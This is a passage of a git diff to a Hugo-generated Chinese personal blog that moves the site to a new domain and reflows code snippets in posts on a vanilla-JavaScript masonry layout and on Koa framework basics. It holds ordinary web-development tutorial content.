-            data[i].style.left = data[index].offsetLeft + &quot;px&quot;;
-            arr[index] = arr[index] + data[i].offsetHeight + ints;
-        }
-    }
-}
-window.onload = function () {
-    datamain();
-}
-window.onresize = function () {
-    datamain();
-}</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/11/><span class=title>« Prev</span><br><span>css3学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/8/><span class=title>Next »</span><br><span>linux系统的日常使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i<data.length;i++){ if(i<dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &#34;px&#34;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a<arr."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"原生js实现瀑布流布局","item":"https://chenjunlinabc.github.io/posts/10/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"原生js实现瀑布流布局","name":"原生js实现瀑布流布局","description":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u0026lt;列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i\u0026lt;data.length;i++){ if(i\u0026lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + \u0026quot;px\u0026quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a\u0026lt;arr.","keywords":["JavaScript"],"articleBody":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u003c列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i","wordCount":"122","inLanguage":"en","datePublished":"2021-06-16T09:14:00Z","dateModified":"2021-06-16T09:14:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/10/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>原生js实现瀑布流布局</h1><div class=post-meta><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e5%8e%9f%e7%94%9fjs%e5%ae%9e%e7%8e%b0%e7%80%91%e5%b8%83%e6%b5%81%e5%b8%83%e5%b1%80.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位</p><p>首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度</p><p>获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth</p><p>获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight</p><p>页面宽度：.width，容器宽度：.offsetWidth</p><p>得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度</p><p>遍历全部容器，还需要判断是否到了第二行，i&lt;列数</p><p>而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中</p><p>然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值</p><p>然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度</p><p>因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度</p><p>为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)</p><p>例如：</p><pre><code>var data = document.getElementsByClassName('imgs');
+function datamain(){
+    var datawidtha = window.innerWidth;
+    var datawidthb = Math.floor(data[0].offsetWidth);
+    var dataab = Math.floor(datawidtha/datawidthb);
+    var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
+    var arr = [];
+    for(var i=0;i&lt;data.length;i++){
+        if(i&lt;dataab){
+            data[i].style.top = 0;
+            data[i].style.left = (datawidthb+ints) * i + &quot;px&quot;;
+            arr.push(data[i].offsetHeight);
+        }else{
+            var datamin = arr[0];
+            var index = 0;
+            for(var a = 0; a&lt;arr.length; a++){
+                if(datamin &gt; arr[a]){
+                    datamin = arr[a];
+                    index = a;
+                }
+            }
+            data[i].style.top = arr[index]+ ints +&quot;px&quot;;
+            data[i].style.left = data[index].offsetLeft + &quot;px&quot;;
+            arr[index] = arr[index] + data[i].offsetHeight + ints;
+        }
+    }
+}
+window.onload = function () {
+    datamain();
+}
+window.onresize = function () {
+    datamain();
+}</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/11/><span class=title>« Prev</span><br><span>css3学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/8/><span class=title>Next »</span><br><span>linux系统的日常使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/100/index.html b/posts/100/index.html
index 6962ed71..d6a396b6 100644
--- a/posts/100/index.html
+++ b/posts/100/index.html
@@ -4,81 +4,81 @@
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&#34;koa&#34;)
const app = new Koa()
app.use(async (ctx, next) => {
await next()
ctx.response.type = 'text/html'
ctx.response.body = '<h1>hallo, koa!</h1>'
})
app.listen(3000)
node app.js
+const Koa = require(&#34;koa&#34;) const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '<h1>hallo, koa!</h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
const app = new Koa()
app.use(async(ctx)=>{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=>{
console.log('port 3000')
})
http://127."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/100/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Koa框架学习笔记"><meta property="og:description" content="koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/100/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Koa框架学习笔记"><meta property="og:description" content="koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&#34;koa&#34;)
const app = new Koa()
app.use(async (ctx, next) => {
await next()
ctx.response.type = 'text/html'
ctx.response.body = '<h1>hallo, koa!</h1>'
})
app.listen(3000)
node app.js
+const Koa = require(&#34;koa&#34;) const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '<h1>hallo, koa!</h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
const app = new Koa()
app.use(async(ctx)=>{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=>{
console.log('port 3000')
})
http://127."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/100/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-12T18:30:00+00:00"><meta property="article:modified_time" content="2021-09-12T18:30:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Koa框架学习笔记"><meta name=twitter:description content="koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/100/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-12T18:30:00+00:00"><meta property="article:modified_time" content="2021-09-12T18:30:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Koa框架学习笔记"><meta name=twitter:description content="koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&#34;koa&#34;)
const app = new Koa()
app.use(async (ctx, next) => {
await next()
ctx.response.type = 'text/html'
ctx.response.body = '<h1>hallo, koa!</h1>'
})
app.listen(3000)
node app.js
+const Koa = require(&#34;koa&#34;) const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '<h1>hallo, koa!</h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
const app = new Koa()
app.use(async(ctx)=>{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=>{
console.log('port 3000')
})
http://127."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Koa框架学习笔记","item":"https://xiaochenabc123.github.io/posts/100/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Koa框架学习笔记","name":"Koa框架学习笔记","description":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\u0026quot;koa\u0026quot;)\rconst app = new Koa()\rapp.use(async (ctx, next) =\u0026gt; {\rawait next()\rctx.response.type = 'text/html'\rctx.response.body = '\u0026lt;h1\u0026gt;hallo, koa!\u0026lt;/h1\u0026gt;'\r})\rapp.listen(3000)\rnode app.js\nget请求参数的接收\nconst Koa = require('koa')\rconst app = new Koa()\rapp.use(async(ctx)=\u0026gt;{\rconst url =ctx.url\rconst request =ctx.request\rconst reqQuery = request.query\rconst reqQuerystring = request.querystring\rctx.body={\rurl,\rreqQuery,\rreqQuerystring\r}\r})\rapp.listen(3000,()=\u0026gt;{\rconsole.log('port 3000')\r})\rhttp://127.","keywords":["koa"],"articleBody":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\"koa\")\rconst app = new Koa()\rapp.use(async (ctx, next) =\u003e {\rawait next()\rctx.response.type = 'text/html'\rctx.response.body = 'hallo, koa!'\r})\rapp.listen(3000)\rnode app.js\nget请求参数的接收\nconst Koa = require('koa')\rconst app = new Koa()\rapp.use(async(ctx)=\u003e{\rconst url =ctx.url\rconst request =ctx.request\rconst reqQuery = request.query\rconst reqQuerystring = request.querystring\rctx.body={\rurl,\rreqQuery,\rreqQuerystring\r}\r})\rapp.listen(3000,()=\u003e{\rconsole.log('port 3000')\r})\rhttp://127.0.0.1:3000/admin?name=admin\u0026pass=123\n通过ctx.request来获取得到get请求参数（query）\n还可以通过ctx上下文获取\napp.use(async(ctx)=\u003e{\rconst url =ctx.url\rconst ctxQuery = ctx.query\rconst ctxQuerystring = ctx.querystring\rctx.body={\rurl,\rctxQuery,\rctxQuerystring\r}\r})\rPost请求接收\nKoa默认返回类型是text/plain，判断返回类型ctx.request.accepts()\n一般来说，返回给用户的页面都是写成文件的，因此可以通过nodejs的fs来读取本地的文件\nconst fs = require(\"fs\")\rapp.use(async (ctx, next) =\u003e {\rawait next()\rctx.response.type = 'text/html'\rctx.response.body = 'fs.createReadStream('./test.html')'\r})\r路由\n判断当前路由地址\nctx.request.path\n路由模块\nconst route = require(‘koa-route’)\napp.ues(route.get(\"/\", main))\n静态资源管理\nconst path = require(‘path’) const serve = require(‘koa-static’) const main = serve(path.join(__dirname)) app.use(main)\n重定向\nctx.response.redirect()可以实现302重定向，例如：\nconst redirect = ctx =\u003e {\rctx.response.redirect('/')\rctx.response.body = 'index'\r}\rapp.use(route.get('/auth, redirect));\r中间件\n中间件实质上就是在请求和响应之间，实现某个中间功能，而app.use()就是用来加载中间件的\n这个中间件默认支持两个参数（ctx和next）\n多个中间件，按照先进后出，next可以传递，await next就是异步中间件\n合成中间件\nconst compose = require(‘koa-compose’) const c = compose([a, b]) app.use(c)\n抛出错误\nconst main = ctx =\u003e{\rctx.response.status = 404\rctx.response.body = '404找不到资源';\r}\r注意：发生错误，koa会触发一个error事件，因此也可以监听这个事件，来抛出错误\n读写cookies\nctx.cookies.get()\n","wordCount":"186","inLanguage":"en","datePublished":"2021-09-12T18:30:00Z","dateModified":"2021-09-12T18:30:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/100/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Koa框架学习笔记</h1><div class=post-meta><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Koa%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" 